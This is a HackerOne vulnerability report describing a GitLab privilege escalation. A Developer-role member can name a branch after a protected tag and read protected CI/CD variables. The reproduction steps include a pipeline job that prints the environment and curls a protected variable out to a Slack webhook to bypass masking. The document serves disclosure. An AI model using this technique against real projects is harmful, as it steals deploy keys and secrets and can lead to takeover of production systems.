Privilege Escalation - Project members can access any protected environment variable without authorization

HackerOne report #1186135 by rodrigopetter on 2021-05-06, assigned to @dcouture:

Report | How To Reproduce

Report

Summary

Any user (including External Users) that can create branches is able to access protected environment variables (database passwords, private keys, etc.) through pipeline execution, if there is any protected tag created.

Steps to reproduce

1. Create a new repository with the following configs
   1. Protect all tags (*) Allowed to create: Maintainers
   2. Create some protected environment variables (Settings> CI / CD> Variables):
      1. PROJECT_DEPLOY_SERVER_PRIVATE_KEY
      2. PROTECTED_PROJECT_VARIABLE
2. Create a new tag named "v1.0.0"
3. Give access to the project to a new member with the "Developer" role
4. The "Developer" accont can't access any environment variables neither create protected tags or push/merge in to protected branches
5. But the "Developer" account can create a new branch with the same name as any protected tag
6. Any pipeline executed for changes in this new branch will be executed as if it was a protected tag
7. The developer can change the file .gitlab-ci.yml at will, scanning any protected environment variable and sending them externally to bypass any masks

job:  
  script:  
    - printenv  
    - curl -k -X POST -H 'Content-type: application / json' --data "{\" text \ ": \" $ PROTECTED_PROJECT_VARIABLE \ "}" https://hooks.slack.com/services/XXXXXXXXXXX  

What is the current bug behavior?

The Developer can access information outside his permission, as stated in Project members permissions table. He can see Project Level CI/CD variables that are restricted to "Managers" and also can see group level CI/CD variables that are restricted to "Owners".

Here is an example pipeline: https://gitlab.com/rpd_test_private_group/test_private_project/-/jobs/1241128584

There is a related issue about the bug that creates this vulnerability: #219583 (closed)

What is the expected correct behavior?

Pipelines executed for branches should not have the same privileges as a protected tag despite having the same name.

Output of checks

This bug happens on GitLab.com

Impact

Project members can have access to sensitive information without authorization.

It's common for teams to have production configurations stored as environment variables, including deploy information like private ssh keys.
The confidentiality of this information is lost and an attacker can have full controll of a production environment.